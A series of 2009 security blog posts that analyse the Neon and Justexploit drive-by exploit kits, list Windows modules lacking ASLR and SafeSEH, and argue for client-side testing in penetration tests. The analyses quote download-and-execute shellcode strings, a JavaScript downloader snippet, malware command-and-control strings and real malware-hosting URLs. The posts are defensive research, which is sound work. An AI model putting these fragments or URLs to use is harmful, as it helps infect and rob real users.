Monday, December 28, 2009

pvefindaddr - ImmDbg plugin exposes attack surface



I've been interested in both the attack and the defenses involving various memory corruption bugs for some time as they are a staple of modern computer security concerns. Microsoft's protection schemes continue to improve over time and from a defenders perspective I like to see third party vendors begin using some of the same protection techniques, and I also like to be aware when vendors are not so extra awareness and attack surface reduction can be put into play.

Tonight I received a tweet from @Corelanc0d3r, who has done some nice research into a variety of IT and IT security related matters including exploitation techniques. His tweet:

released v1.7 of pvefindaddr ImmDdg plugin (http://bit.ly/57Q14V)


You can read his link for further information about this Immunity Debugger plugin, which does a good deal of time-saving enumeration.

Dropping his pvefindaddr.py into my C:\Program Files\Immunity Inc\Immunity Debugger\PyScripts on a Vista box, I took notice of all the functionality, but especially of the ability to enumerate processes without ASLR and SafeSEH with the following command:

!pvefindaddr nosafesehaslr

Since client-side security bugs are a critical entryway, the list of such processes (well, a very limited list based on samples on one particular install) may be of interest to those who wish to reduce/eliminate such code to run hardened systems, and/or of interest to penetration testers or security researchers. Software vendors may also want to take note (not that any are actually reading this...as far as I know) and consider re-architecting and re-compiling with /DYNAMICBASE and /SAFESEH when possible. Anyone running the plugin or equivalent can obtain the same information, however this might save someone some time and stimulate further ideas for research.

HP DeskJet printer software bundle DLL:

 Message=*[+] 0x003d0000 - 0x003db000 : hpzipr12.dll (*** No ASLR, No Safeseh ***)

# I've been concerned about the HP DeskJet printer software bundle for some time. The first clue was that the installation of this software to make a home printer function actually replaced patched versions with unpatched/vulnerable versions of specific code. On an XP box, Windows/Microsoft Update did not catch the issue, however on a Vista box Windows/Microsoft Update did notice and corrected the problem. The Secunia Personal Software Inspector (PSI) notified me pretty quickly that some critical files had regressed. With such a phenomenon taking place in the past I wasn't terribly surprised to see that this DLL was not taking advantage of newer protection techniques. Of course, the actual attack surface varies depending upon the system's usage profile, etc.

Cisco VPN client:
 Message=*[+] 0x00400000 - 0x0057a000 : cvpnd.exe (*** No ASLR, No Safeseh ***)
 Message=*[+] 0x10000000 - 0x1002f000 : vpnapi.dll (*** No ASLR, No Safeseh ***)

# Communication with another security researcher (who is a lot smarter and more experienced than myself) indicated that all the pre-auth memory corruption issues in this particular client had likely been weeded out. However we did not talk about these images being leveraged in a different part of the attack lifecycle.

google chrome DLL:
 Message=*[+] 0x4ad00000 - 0x4b50b000 : icudt38.dll (*** No ASLR, No Safeseh ***)

GPGee:
 Message=*[+] 0x05570000 - 0x05702000 : GPGee.dll (*** No ASLR, No Safeseh ***)

SecureZIP:
 Message=*[+] 0x04fe0000 - 0x05167000 : PKArchive87U.dll (*** No ASLR, No Safeseh ***)


WinRAR:
 Message=*[+] 0x03210000 - 0x0323e000 : rarext.dll (*** No ASLR, No Safeseh ***)

Malware Bytes anti-malware:
 Message=*[+] 0x031f0000 - 0x03202000 : mbamext.dll (*** No ASLR, No Safeseh ***)

010 Hex editor:
 Message=*[+] 0x036f0000 - 0x03700000 : shlext010.dll (*** No ASLR, No Safeseh ***)

FileZilla shell extension:
 Message=*[+] 0x67080000 - 0x6709c000 : fzshellext.dll (*** No ASLR, No Safeseh ***)

TrueCrypt:
 Message=*[+] 0x00400000 - 0x00586000 : TrueCrypt.exe (*** No ASLR, No Safeseh ***)

Found by attaching to VMAuthdService:
 *[+] 0x00160000 - 0x0024e000 : libxml2.dll (*** No ASLR, No Safeseh ***)
 *[+] 0x10000000 - 0x1006a000 : vmcryptolib.DLL (*** No ASLR, No Safeseh ***)
 *[+] 0x00b20000 - 0x00bf9000 : iconv.dll (*** No ASLR, No Safeseh ***)

Again, nothing earth-shattering here but an interesting survey of some typically deployed apps. With advances in exploitation techniques taking place constantly, it may be wise to audit your own apps in a similar way and reach for the uninstall.

Kudos to C0relanc0d3r for his plugin and for the discussions we had about it, and for his code tweak to scan all process memory instead of just the currently loaded/attached process.

Saturday, December 26, 2009

Poking at the Neon exploit kit - trail leads to Zeus/Zbot

I recently noticed the Neon exploit kit being mentioned at malwaredomainlist.com. Some basic googling returned some research, but not much. My www.malwaredomainlist.com query returned the following:


Only two NEON exploit kits were specifically listed at malwaredomains.com. The other was:


Specifically you can see that the first site, tomorrrrow.cn uses the directory /difpack and the second site sirius.mn uses the directory /tuc. Some other google queries for /difpack didn't result in anything signifcant so there is probably a site-specific value being used here I'm thinking. The only file in common was stat.php.

Screenshots were easy to obtain from the statistics page of the .cn site. The first page reveals browsers; some of these are likely to be researchers but most are probably victims. IE6 hit hardest (what a surprise)



Next up were operating system stats. XP of course was the largest. I was a bit surprised at Windows 2003 appearing as much as it did. I guess people are still surfing the web from their servers despite being warned against doing this since 1950. I haven't seen the back-end code but I'm guessing that "Loads" means an actual exploit is loaded, or is successfully executed (need to see the kit itself to understand how this is calcuated; any researcher got the kit source? drop me a line please if so)




Countries - USA is the largest target/victim

 

Next up were the referers - I didn't check these sites but the stats show an infection trail (or in some cases, obvious security/malware researchers poking about as you got further down the list). The actual URL's were not included here, so it's hard to know where in a site a redirect, IFRAME or other trickery is placed. In the case of the top referer, www.bearmarketcentral.com, I see that they have a forum and this seems like a likely location for trouble. Also troubling are several references to Grant Morrison, a fabulous comics creator.



Next up are the actual exploits used. Nothing too exciting here. All of these have been documented elsewhere at length so I won't go into much detail, but one can see a typical array of Adobe Reader exploits, the older Microsoft MDAC bug, an IE 7 exploit and the Snapshot viewer exploit. Despite MDAC being such an old bug, if Loads or Efficiency represents actual exploitation, it's higher than it should be and is just another indication of unskilled computer users who are unfortunately easy prey.



An entry page to the site contains the common technique of offering obfuscated Javascript.


This javascipt was not able to be deobfuscated by Wepawet's sandbox for unknown reasons, and initial attempts at decoding in Malzilla also failed. I'm sure I can decode it if I spent a little bit of time on it. It probably just points the users to the various pages serving the actual exploit code.

Later analysis with Wepawet reveals one of these pages, serving the Acrobat Reader stack overflow/format string in util.printf PDF exploit (CVE-2008-2992) - (see http://wepawet.cs.ucsb.edu/view.php?hash=3cbe658f62c9324793b132178717e81a&t=1261673543&type=js for the full report)

http:// tomorrrrow.cn  /difpack/cache/readme.pdf

The PDF exploit contains two payloads, both downloaded with the URLDownloadToFile function (I'm unsure what the string crash.php is doing) to the destination file pdfupd.exe. The first payload is targeted at http:// souzmov.cn /difpack/load.php?id=4,

URLDownloadToFil
eA.pdfupd.exe.cr
ash.php.http://s
ouzmov.cn/difpac
k/load.php?id=4

and the second payload targeted at http:// souzmov.cn /difpack/load.php?id=5

URLDownloadToFil
eA.pdfupd.exe.cr
ash.php.http://s
ouzmov.cn/difpac
k/load.php?id=5

The homepage of the site contains a typical placeholder page that I have seen associated with Russian Business Network (RBN) sites in the past. It may just be a typical entry page from some specific CMS, but I've seen the four-color image often enough on malware sites to raise a red flag.




Very good static AV coverage on page delivered via load.php (pushes load.exe)
37/41 (90.24%), findings included mostly the Sasfis trojan.

http://www.virustotal.com/analisis/31ca8b8422659f967627f4dd8c0f0b627509f1ada132159733d016edc7c97bfd-1261808607  

http://www.threatexpert.com/report.aspx?md5=056346161d867c0944b4e15ec5bdda9c


The malware also is involved in Zeus installations; installation of load.exe performs the following:

The following HTTP URLs were started reading:
http://tomorrrrow.cn/loader/bb.php?id=&v=200&tm=1&b=svyazka
http://tomorrrrow.cn/loader/bb.php?id=&v=200&tm=2&b=svyazka
http://tomorrrrow.cn/loader/bb.php?id=&v=200&tm=3&b=svyazka

Command data is apparently delivered via bb.php as such:

[info]runurl:http://spysystemcom.cn/gamedata2/game.exe|taskid:6|delay:20|upd:0|backurls:http://yesandns.cn/loader/[/info]

game.exe contains Zeus/Zbot. The "backurls" url did not resolve.

The ThreatExpert report for Zeus (game.exe) has new (to me) functionality that apparently parses the list of target domains that is normally contained in the zeus config file (cfg.bin is a filename I've often seen). This is a nice feature that's a time saver in an incident response situation.

Check out the useful and informativeThreatExpert report which includes a list of the targeted financial institutions - a very nice addition to ThreatExpert that I don't recall seeing before.

http://www.threatexpert.com/report.aspx?md5=1f22afba0880113d30ac80fef64eac1e

MD5 = 0x01605D291B427C8564E7E13CDEEA1AE9

The first five financial institutions are listed as such:

    * https://www.gruposantander.es
    * http://*odnoklassniki.ru
    * http://vkontakte.ru
    * https://banking.*.de
    * https://internetbanking.gad.de
    * https://www.citibank.de

I found it interesting that a mutex named _AVIRA_21099 was created. This may be documented in other much more deep analysis but I don't recall.

The Zeus/Zbot config file is obtained from http://spysystemcom.cn/gamedata2/res.bin

Trying to reverse engineer this malware, even dynamic analysis, would take me far longer than what ThreatExpert offers. Sure, sandboxes have been evaded and are not perfect, but what a huge time-saver. I offer my thanks to the creators and maintainers of Wepawet, ThreatExpert, Anubis, VirusTotal and other sandoxes.

Tuesday, December 8, 2009

Poking at the Justexploit kit part 2

Again, some of this analysis has probably already been posted somewhere but in the interests of continuing my process, I will pick up where I left off with yesterdays blog post. Yesterday I went over basically what the Justexploit's MDAC exploit attempted to do, and followed the malware trail for a while.

The second batch of bugs exploited by Justexploit are common Adobe Acrobat Reader issues, all patched. These have been documented to a large degree and are apparently well understood so I won't go into the mechanics. The bugs, which have been hammered by other exploit kits are:

Adobe Collab overflow - CVE-2007-5659
Adobe util.printf overflow - CVE-2008-2992
Adobe getIcon - CVE-2009-0927

Numerous PoC's and weaponized exploits exist for these issues.

The PDF exploitation associated with the sdfnucleartqg dot info site is hosted at /pdf.php and was already submitted by an unknown party to the excellent wepawet sandbox on 12-4-09:

http://wepawet.cs.ucsb.edu/view.php?type=js&hash=ac781b52bb2541aa214e3ee804ebfedc&t=1259920135

A portion of this blog entry expounds a bit on the wepawet analysis, but is not as pretty. If you want the full details, shellcode bytes and all of the de-obfuscated javascript (heap spray, etc) then please see the wepawet link above. Kudus to the developers of wepawet for it's time-saving properties.

Wepawet does a good job extracting the shellcode from the PDF, as we see in the "Shellcode and Malware" section. The actual payload starts off with a 0x90 based NOP sled, followed by shellcode that points to the downloading and executing of yet another URL from the same site-


.j...http://sdfn
ucleartqg.info/f
eedback.php?page
=3

The URL is obvious here and points towards the same windows binary pushed by the MDAC exploit. This binary was detected by VirusTotal on 12/2/09 by 10 out of 41 anti-malware engines (24.39%). See the VirusTotal report for full details, however the relevant results are pasted here:

http://www.virustotal.com/analisis/5a4dd63616bda4bef5b37b8ab6eeec0525f5c8aebc2f8c747a338d81dc9ed0cd-1259735138

a-squared 4.5.0.43 2009.12.02 Trojan.Win32.Oficla!IK
CAT-QuickHeal 10.00 2009.12.02 (Suspicious) - DNAScan
Ikarus T3.1.1.74.0 2009.12.02 Trojan.Win32.Oficla
Kaspersky 7.0.0.125 2009.12.02 Trojan.Win32.Sasfis.wox
McAfee+Artemis 5819 2009.12.01 Artemis!8D0F4EC4C458
Microsoft 1.5302 2009.12.01 Trojan:Win32/Oficla.E
Prevx 3.0 2009.12.02 Medium Risk Malware
Rising 22.24.02.03 2009.12.02 Trojan.Win32.Generic.51F273B2
Sophos 4.48.0 2009.12.02 Sus/UnkPack-C
Sunbelt 3.2.1858.2 2009.12.02 Trojan.Win32.Sasfis.a (v)

See the previous blog entry for a basic analysis of the payload. See the Anubis analysis of this binary for further details:

http://anubis.iseclab.org/?action=result&task_id=19ff7bcb29a1f7e54d929cfd9dc2a6969

I have found that Anubis doesn't always give me the level of detail that I need. I personally prefer ThreatExpert's sandbox analysis. Anubis does enumerate network activity, which shows the same target binary that was included with the MDAC exploit.

3.c) svchost.exe - Network Activity
DNS Queries:
Name Query Type Query Result Successful Protocol
h0stels.cn DNS_TYPE_A 210.51.166.250 1

HTTP Conversations:
From ANUBIS:1038 to 210.51.166.250:80 - [h0stels.cn]
Request: GET /SHasg2/bb.php?id=590043150&v=200&tm=8&b=justspl
Response: 200 "OK"

It is fair to assume that the Java exploit has the same end result. The exploit code is found in the following JAR (as previously documented elsewhere) - http://sdfnucleartqg dot info/files/sdfg.jar

98d499308df04932ed1b58a78417d6fb sdfg.jar

unzip sdfg.jar
Archive: sdfg.jar
creating: META-INF/
inflating: META-INF/MANIFEST.MF
inflating: myf/y/AppletX.class
inflating: myf/y/LoaderX.class
inflating: myf/y/PayloadX.class

Avira catches the Jar as JAVA/OpenStream.AD Java Virus

Since java is trivial to reverse, it's easy to see what's going on. If this hasn't already been done ( I think it has ) I'll do it in part 3. Guessing it's based off of public exploit code for the Java bug released a while back. Why should the malware authors expend energy when they can just leech from security researchers? One of the downsides of people publishing exploits (I digress, this is a distinct topic)

The opening page where the initial Javascript starts the process of infection is dynamically generated with different encoding every time with a new id as such:

ID's generated in this sampling:

wtIsTqv
GhttiIm
Rv0jW1E
ujVvVrK
VZYaFVm
WztzroN
Xuq11AX
gvcGPqU
DOsZOc0
Ii8Qqbe
ERS6apw
srah6hg

Since Wepawet had no problem decoding, I didn't bother running the code through Malzilla or other local decoding tool.

In other news, a URL from the malware chain yesterday has changed it's payload. The page contains what appears to be command & control information for the infection.

http: //h0stels . cn/SHasg2/bb.php?id=555611691&v=200&tm=3&b=3857054178&tid=9&r=1

The new contents of the .cn page points to a new binary:

http: //poezd-v-ad . eu/free1/mqh5.exe

VirusTotal gives what looks mostly like generic detections

9d99e88dfefc6528f4ba912d9d9b1f19 mqh5.exe

AntiVir 7.9.1.102 2009.12.08 TR/Dropper.Gen
DrWeb 5.0.0.12182 2009.12.08 BackDoor.Tdss.based.3
McAfee+Artemis 5825 2009.12.07 Artemis!9D99E88DFEFC
McAfee-GW-Edition 6.8.5 2009.12.08 Trojan.Dropper.Gen
Panda 10.0.2.2 2009.12.08 Suspicious file
Sophos 4.48.0 2009.12.08 Mal/TDSSPack-U
TrendMicro 9.100.0.1001 2009.12.08 BKDR_TDSS.SMA

Sure looks like the TDSS rootkit, based on signature scans.

ThreatExpert isn't able to get much from this binary:

http://www.threatexpert.com/report.aspx?md5=9d99e88dfefc6528f4ba912d9d9b1f19

# Submitted sample:

* File MD5: 0x9D99E88DFEFC6528F4BA912D9D9B1F19
* File SHA-1: 0x1BEFD04012D725FA38C5F58E50DDDFD29C7A8CAD
* Filesize: 62,464 bytes
* Alias: Mal/TDSSPack-U [Sophos]

I recall TDSS being analyzed previously, however I would like to see what this particular variant is doing. This will be covered in part three, if it's actions are unique.


Sunday, December 6, 2009

Poking at the Justexploit kit Part 1

Malware is of interest to me for several reasons. It's helpful to know what's out there, both as a defender and as a penetration tester. Successful malware campaigns mean that the attackers are showing attack surface that a penetration tester can also leverage. As a defender, it's helpful to know what the various attack kits are using so those particular issues can be mitigated in areas of higher risk, IDS signatures written, minds primed for forensics analysis, etc. Regardless of my distaste of harmful and criminal activities, from a technical and research perspective, malware is worth knowing about and is with us for the long haul.

Seasoned malware analysts won't find anything new in this post. Some of this post may be redundant with previous analysis, as I have not done extensive queries to see if this material has not yet been published. Malware URL's are going to be modified, as I don't want to end up on blacklists, nor do I want people clicking on the malware links unless they know what they are doing.

I became aware of the Justexploit kit recently, blogged about by EvilFingers at http://www.efblog.net/2009/11/justexploit-new-exploit-kit-that-uses.html and mentioned in a few other places. It was easy to find some of these kits through queries to malwaredomainlist.com http://www.malwaredomainlist.com/mdl.php?search=justexploit&colsearch=All&quantity=50 and I picked the most current entry at the time, which I won't include on this blog because I don't want it flagged as a malicious site. Suffice it to say that the site has the word "nuclear" in it's URL and you can figure it out from there. The site is located on ASN 47821 and various new domains, starting with a batch of .cn domains, were pointed at the same IP address (probably hosted in a "bullet-proof" hosting facility) starting on 11/27/09. They started using .info domains on 12/5/09, according to the malwaredomainlist query posted above.

One reason why Justexploit is interesting is it's use of Java bugs. While there have been a few java exploits in the wild, they haven't seemed to be as widespread as other vectors such as Adobe Reader and Adobe Flash, which have both been added to just about every drive-by exploit kit in existence. A screenshot of the Justexploit control panel, obtained by EvilFingers posted at http://3.bp.blogspot.com/_Ppq0fEGkHo4/SxMO_UvIAqI/AAAAAAAAB-w/L8oZDgwpDYg/s1600/mipistus-justexploit.png shows that Java has been the highest attack vector so far, with 3230 successful exploits (I don't read Russian, but I'm assuming that's what the statistics mean). EvilFingers posted his blog on 11/29/09 with an admin panel screenshot. My attempts to obtain an admin panel screenshot from this particular install ("campaign") failed since an .htaccess password was placed, prompting as "Multiplex Corporation Ltd.". This information is also available on a forum thread at malwaredomainlist.com at http://www.malwaredomainlist.com/forums/index.php?topic=3570.0 where someone apparently guessed the password to view the admin page.

Wepawet is a nice sandbox, and a big time-saver for any javascript or PDF-based malware. Sure you can use Malzilla or other tools to de-obfucate the javascript, but Wepawet has done a nice job almost every time I've used it. I can think of a copule of situations where it hasn't been able to properly read some flash .swf malware but otherwise it's great.

The analysis for the domain I was looking at can be found:

http://wepawet.iseclab.org/view.php?hash=375f0265a92dd4da4bb3063f1c444aee&t=1260165589&type=js

Some of the highlights from the wepawet report include the following:

function Go(a){
var s = CreateO(a, 'WScript.Shell');
var o = CreateO(a, 'ADODB.Stream');
var e = s.Environment('Process');
var urltofile = 'http://.info/feedback.php?page=1';
var filename = 'YVgHg.exe';

Requesting feedback.php?page=1 returns a windows PE binary with a (at least in five downloads) consistent md5 hash:

ab92cc8f7abeafffc9b588eda2f968cd feedback.php?page=1
ab92cc8f7abeafffc9b588eda2f968cd feedback.php?page=1.1
ab92cc8f7abeafffc9b588eda2f968cd feedback.php?page=1.2
ab92cc8f7abeafffc9b588eda2f968cd feedback.php?page=1.3
ab92cc8f7abeafffc9b588eda2f968cd feedback.php?page=1.4

Like most malware, the binary appears to be packed. Submissions to VirusTotal reveal a rather pathetic 12.2% coverage: only 5 out of 41 malware scanners (static file analysis, which obviously does not take run-time into account) find anything. The results indicate strong chances of a Bredolab malware, which has been analyzed in various places already. One of the scary things about Bredolab was that according to one analysis, it could download up to 27 other malwares. Who knows what the current capabilities are, and covering Bredolab is beyond the scope of this entry. I think Symantec or one other large A/V firm had a detailed writeup. I do recall a connection with the nasty Zeus infostealer/banking fraud trojan though.

Here are the five detects:

CAT-QuickHeal 10.00 2009.12.07 (Suspicious) - DNAScan
Comodo 3103 2009.12.01 Heur.Packed.Unknown
F-Secure 9.0.15370.0 2009.12.07 Suspicious:W32/Malware!Gemini
Kaspersky 7.0.0.125 2009.12.07 Trojan-Downloader.Win32.Piker.kr
Sunbelt 3.2.1858.2 2009.12.06 Trojan.Win32.Bredolab.Gen.1 (v)

The full report can be viewed here - http://www.virustotal.com/analisis/ba1a607c9f3067958a9cef0029ebdc2f25d59b98454c888a0085bc12ff696179-1260168039

On my analysis box, checking the download (feedback.php) with the Avira anti-malware engine does not generate any alert, but does show the presence of what looked at first like an Alternate Data Stream (ADS) - feedback.php:Zone.identifier - is just the presence of Microsofts Attachment Manager at work, blocking the file since it came from an untrusted source (analysis box is running Vista, malware downloaded via Firefox).

Threatexpert.com is a nice sandbox, a huge time saver over analyzing a binary in something like Olly or Immunity Debugger or dumping the file from memory with win32dd or other memory dumping tool (or ollydump or equivalent). Tonights run of this Bredolab trojan is found here -

http://www.threatexpert.com/report.aspx?md5=ab92cc8f7abeafffc9b588eda2f968cd

Highlight from the threatexpert report are as follows (pardon the lousy formatting, view the original if you need the details or need it to look pretty)

Four files created:

%Temp%\1.tmp
%System%\ahwa.ulo Trojan:Win32/Oficla.E [Microsoft]
%Temp%\2.tmp Trojan.Vundo [PCTools]
Trojan.Vundo!gen2 [Symantec]
Troj/Virtum-Gen [Sophos]
Trojan:Win32/Hiloti.gen!A [Microsoft]

%Windir%\gkboiers.dll Trojan.Hiloti [PCTools]
Troj/Virtum-Gen [Sophos]
Trojan:Win32/Hiloti.gen!A [Microsoft]

4 [file and pathname of the sample #1] 37,376 bytes MD5: 0xAB92CC8F7ABEAFFFC9B588EDA2F968CD
SHA-1: 0x60368810858C5E3E20359F0EC7BE558ADF6D8D7A (not available)

[file and pathname of the sample #1] refers to the original binary, which was not given any malware alias. I was expecting to see that it would be recognized as Bredolab, however I suppose the engines that ThreatExpert supports must not be among the five that detected, as previously mentioned.

%Windir%\gkboiers.dll gets injected into the memory space of other processes, including explorer.exe, msmsgs.exe, sdnsmain.exe, iexplore.exe, the "generic host process filename"

Injection in Explorer, MSN Messenger, and IE are obvious malware/adware/spyware activity, but I was less certain about sdnsmain.exe. Turns out, sdnsmain.exe is apparently not dropped by this particular Bredolab install but refers to "Simple DNS Plus - Core Engine" (sdnsmain.exe) which is a 3rd party Windows DNS server. A future exercise may involve installing Simple DNS Plus to see what Bredolab does with it. I suspect that it will redirect certain queries to adware/spyware/etc. pages or maybe allow the attackers to inject DNS responses for financial sites, allowing for credential theft. I don't know if Bredolab does this, but if some malware were to serve as a rogue DHCP server it could push it's local DNS server to the client who would then get infected.

A variety of registry modifications were made to keep the malware persistent.

The file apparently has Russian origin (gee, what a surprise)

The following URL's were contacted:

o http:// .cn/SHasg2/bb.php?id=555611691&v=200&tm=2&b=3857054178
o http://.cn/SHasg2/bb.php?id=555611691&v=200&tm=3&b=3857054178&tid=9&r=1
o http://.eu/free1/h4.exe

Following the rabbit-hole further, we find more wholesome malware.

The first link for bb.php contains the following data:

[info]runurl:http://.cn/win32/ff.exe|taskid:10|delay:25|upd:0|backurls:[/info]

Sure looks like a command sequence to download and run yet another binary. Snort or other IDS signatures could be easily created from this sequence for EXtrusion detection. I would want a larger sample size before generating a signature, as to reduce false positives.

ff.exe had previously been analyzed by VirusTotal here:

http://www.virustotal.com/analisis/81536e8ca89d57c313e45a591eb0d913f187fbb347efa99edf1d2be649cbb2f6-1259947806

Looks like yet another instance of Bredolab. Results from ff.exe are a tiny bit better, 6 out of 41 (at the time of the previous sample submission)

CAT-QuickHeal 10.00 2009.12.04 Win32.Packed.Krap.w.4
Comodo 3103 2009.12.01 Heur.Packed.Unknown
eTrust-Vet 35.1.7158 2009.12.04 Win32/Bredolab!generic
Norman 6.03.02 2009.12.04 W32/Obfuscated.EA
Prevx 3.0 2009.12.04 Medium Risk Malware
Sunbelt 3.2.1858.2 2009.12.04 Trojan.Win32.Bredolab.Gen.1 (v)

It's starting to feel like we are in a hall of mirrors. This reminds me of Tom Liston's "follow the bouncing malware" series that he has done for SANS Incident Storm Center (isc.sans.org).

The second URL, http://.cn/SHasg2/bb.php?id=555611691&v=200&tm=3&b=3857054178&tid=9&r=1, returns a different result:

[info]kill:0|delay:25|upd:0|backurls:[/info]

The third URL, http://.eu/free1/h4.exe was caught by Windows Defender on the Vista analysis box as Trojan:Win32/Hiloti.gen!A.

I intend to dig deeper into what the Justexploit kit is doing in future blog entries.

Thursday, October 8, 2009

Penetration testing, targeted malware attacks and the future

I've been thinking a lot about penetration testing, malware, and the future. These are some of the thoughts that are too long to tweet (twitter.com/curtw).

Before a recent penetration testing engagement I negotiated the scope with the client and was able to expand it. In years past, the scope was network facing - typical nmap type scans combined with some SQL Injection testing and XSS checks. This time around, after dealing with many compromises in my day job, I felt that it would not be fair to the client to keep the scope limited in such a non-realistic manner. My reason for this scope expansion was to more accurately reflect the type of targeted attacks that exist in the wild and test the organizations security posture surrounding such attacks as well as potentially trigger the incident response function.

Shouldn't be a big surprise that the penetration test was successful inasmuch as I was able to compromise the client as a result of the expanded scope that included client-side and social engineering vectors. It's not like SQL Injection (and other web application security issues) and other network facing issues have gone away (see Microsofts SMB2 vulnerability from October of this year, and MS08-067 from October 2008 for instance) but the low-hanging fruit is certainly getting picked over, with less remotely exploitable network-facing bugs of substance being released, at least to the public. Dave Aitel of Immunity Inc. talks about how hard it is to perform modern exploitation, and about the extensive team resources required to write a *reliable*, professional quality exploit that's suitable for professional engagements. The bar keeps rising, and some innovations appear in the old techniques (such as Vista Heap exploitation methods) but the overarching trend is more and more towards client vulnerabilities as the lowest hanging fruit, with more than a dash of social engineering mixed in to ripen the fruit enough to allow easy harvest. This is exactly how the criminal attackers are getting in. Even generic attacks, such as the mass SQL Injection worms targeting ASP systems (ASProx and others), have been very fruitful for the attackers who have dropped poisoned links all over the web, just waiting for the next uninformed person who doesn't know any better and has an unpatched Adobe Reader, Adobe Flash, or other client-side issue (ActiveX control, etc) hanging out in the breeze like a mile-wide flypaper, just waiting for the next attack to sink it's teeth deep into the unsuspecting system to fulfill whatever criminal motives are at play. The dropping of Zeus/Zbot, Torpig, Clampi/Ilomo and a whole host of other modern criminal malware is very common and I don't even know how targeted such attacks that I see actually are. From what I see in my day job where I concentrate more on defense, opportunistic infection abounds. If the opportunistic attacks are this successful, imagine the targeted attacks, the "spear phishing" or even worse/better (depending upon ones side of the fence) "spear phishing" with 0day or recently patched bugs in the attackers bag-o-tricks. We hear about some of this, with people such as as Mikko at F-Secure posting educational blog entries that show targeted attack bait files. But how much more is going on that we won't ever hear about?

Do those who perform penetration testing let ourselves be satisfied with ineffective and outdated methodologies such as throwing nmap against server X,Y,Z? Or hammering away for SQLi or XSS bugs, while not being able to touch the clients or engage in social engineering? I hear working penetration testers complain about this phenomenon to this day, even while other more progressive pentesters commented years ago that they would not even take an engagement that included such a narrow scope (see Anthony Zboralski's comments from 2005 on the DailyDave list - http://seclists.org/dailydave/2005/q1/145).

To stagnate in the past is a disservice to our clients, and to the guild of penetration testing professionals. Yes, I realize that there are no enforceable standards or licensing bodies for penetration testing at this time, and that the field has been criticized as being uneven and unprofessional. But let's think about the false sense of security that a client could obtain when the scope is so narrow that only a ghost's fart would squeeze through.

Targeted attacks on the client and the user *must* be added to the arsenal if we want to reach parity with the criminal attackers who have no such limiting framework or scope constraints. This is just to catch up with what's going on NOW. In the near future, I suspect we'll need to get mobile devices integrated into the scope as they start being attacked further. Other new technologies must also be considered and should become part of scope discussions on a regular basis. Are clients willing to pay for this? I think that once the attacks on such systems reach the press and if we can make a case for it, clients will start to slowly realize that there is value to be obtained. Obviously, progressive clients and those with more to protect are already engaging in such matters (although I have no stats, and nothing to back this up other than hearsay)

To further feed these thoughts, last night during a bout of insomnia, I came across the slides from the latest Hack In The Box conference in Malysia and read Ed Skoudis' slides with interest. Ed's keynote can be found at http://conference.hackinthebox.org/hitbsecconf2009kl/materials/KEYNOTE%203%20-%20Ed%20Skoudis%20-%20The%20Bad%20Guys%20Are%20Winning%20-%20Now%20What.pdf and is very relevant to the matter at hand. His keynote is entitled "The Bad Guys are Winning, Now What?" and makes several very good points to several segments of the security space. In his section addresses to penetration testers, Ed makes some excellent points such as these:

"If a test scope is defined broadly enough, we almost
always get in
– Sure, if you take all of the interesting attack vectors off
the table, you may thwart us… but not the real bad guys
– “Just look at these four servers… see what you can do…”
– The real attackers aren’t limited that way"

Followed on the same slide with:

"So what? If pen testers can’t help target
organizations actually improve their security, they’re
just showing off
–Thus, it is more important than ever to express findings in
business terms… and to emphasize the appropriate
defenses"

It's not too difficult to imagine how such findings might be useful to the client. Here are a few ideas:

1) Client awareness. Many may not be aware that the attack surface has shifted. I know my most recent client didn't really consider it and had invested a large amount of resource in protecting the servers, but only a small amount of resources on client protection. The recommendations in the penetration test report have changed this dynamic already. This can be a big help in raising the bar against malicious attackers and also making the next penetration test that much more challenging.

2) Better technical monitoring and controls. Anyone who has been audited knows that the auditors talk about controls, controls, controls. While auditors may hammer on password issues over and over again (at least in my experience) it can't be denied that they are often a weak link and are re-used in many places between different trust zones. For instance, multi-factor authentication is going to make things a bit more challenging for an attacker and/or a penetration tester. Is the cost of such technologies worthwhile to the client in the face of modern attacks? That's their call, but I'd like to think that a successful penetration test might put this option on the table in a manner that it was not before. Let's hope that a pentest might put this on the agenda with the same, or a similar urgency to what might happen if the client had gotten nailed first by a targeted malware attack, with keylogger and internal system compromise via pivoting techniques. Kevin Richards, who I worked with at Denmac Systems, once told me that PAIN is the motivator that gets things done, where FEAR doesn't work. He used the example of a root canal. Let's hope that the perceived PAIN of a penetration test might be enough to wake people up before the REAL PAIN arrives. In such a way, a skilled penetration test might serve as an inoculation.

3) Synchronize the concerns of the organizations clued-in technologists (let's hope that they exist!) with the business and administration of the organization. In at least one organization that I've worked directly with, the presence of a finding by a third party legitimized a long-standing concern that had been expressed, but repeatedly ignored by management. This is nothing new, but seems to happen all the time.

Cutting-edge conference presentations and offensive security research seems to be pointing increasingly at client-side methodologies, social engineering and phishing. Materials by Attack Research (such as PhishScrape.rb, the signed Java Applet attack, PDF embedding and more), the Metasploit Project (too many features to list), Inguardians (The Middler by Jay Beale and crew), CORE Security (CORE Impact's extensive and rich client-side exploitation and post-exploitation framework) and a whole host of others are presenting tools and techniques that can of course be utilized by the "bad guys" just as easily as the "good guys". I don't have a great answer for this issue at this time, as it falls into a grey area that reflects the more nuanced and complex aspects of our modern world, not to mention the endless debates over full, partial and non-disclosure. While such dynamics are increasingly playing out, some have expressed a moral distaste for engaging in phishing techniques, whether they be exercises or part of a penetration test. I say that it's time to get over such scruples - it's a valid tool in the professional arsenal and should not be ignored in the name of a false morality while the attackers run wild.

I recall a mailing list where someone was arguing that engaging in such techniques was unethical and immoral, and that they would never do such a thing to their people. I suppose those people are letting the attackers have first dibs. Which would you rather have testing your organizations defenses? I'll let my doorknobs be rattled by the police first before the thieves, thank you.

I also recall an article written by the ISSA that I read in May of 2008 that referred to the "cult of penetration testing". While I have respect for people who have put energy into organizations such as the ISSA, I found the particular article to be short-sighted because it didn't address the gap between assessment and testing methodologies and real-world attacks, all in the name of taking some sort of moral high ground. While the perceived moral high ground is held by the shining knights of Security, the users are down at the bottom of the hill, falling into the muddy ditch, and often don't even realize that they are in the ditch. How can one really get exposure without getting their hands dirty?

PCI-DSS (payment card industry data security standards) has brought about a renewed attention in forcing organizations to pay more attention to the *minimum* security guidelines. Part of this involves penetration testing. PCI-required penetration testing is a large boon for the industry and for those that wish to hone their skills in these areas.

